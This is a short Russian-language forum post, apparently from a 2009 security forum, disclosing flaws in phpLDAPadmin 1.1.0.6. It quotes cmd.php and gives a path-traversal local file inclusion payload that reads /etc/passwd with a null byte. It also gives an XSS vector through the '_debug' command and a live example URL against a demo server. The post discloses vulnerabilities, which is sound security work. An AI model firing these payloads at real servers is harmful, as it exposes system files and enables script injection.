PDA

Просмотр полной версии : phpLDAPadmin


oRb
15.07.2009, 18:04
Сайт: http://phpldapadmin.sourceforge.net/wiki/index.php/Main_Page
Версия: 1.1.0.6

Тут пришлось настраивать на серваке ldap + samba. Гуглил, как это все делать. Наткнулся на статью, описывающую работу с phpLDAPadmin. Стянул тулзу с репозиториев. начал работать и чего-то захотелось сорцы покапать =)
Файл: /usr/share/phpldapadmin/htdocs/cmd.php

...
$www['cmd'] = get_request('cmd','REQUEST');
$www['meth'] = get_request('meth','REQUEST');

ob_start();
$file = '';

switch ($www['cmd']) {
case '_debug' :
debug_dump($_REQUEST,1);
break;

default :
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
$file = HOOKSDIR.$www['cmd'].'.php';

elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
$file = HTDOCDIR.$www['cmd'].'.php';

elseif (file_exists('welcome.php'))
$file = 'welcome.php';
}

if (DEBUG_ENABLED)
debug_log('Ready to render page for command [%s,%s].',128,__FILE__,__LINE__,__METHOD__,$www['cmd'],$file);

# Create page.
$www['page'] = new page($ldapserver->server_id);

if ($file)
include $file;
...

Тут и локальный инклюд: /cmd.php?cmd=../../../../../../../../etc/passwd%00
И XSS (нахера она правда нужна - хз, до кучи ;)): /cmd.php?cmd=_debug&a=[xss]

Пример: http://wurley.demo.phpldapadmin.info/php5-RELEASE/cmd.php?cmd=../../../../../../../../etc/passwd%00

ps: Дальше особо не копал, тк шесть часов - пора и домой валить)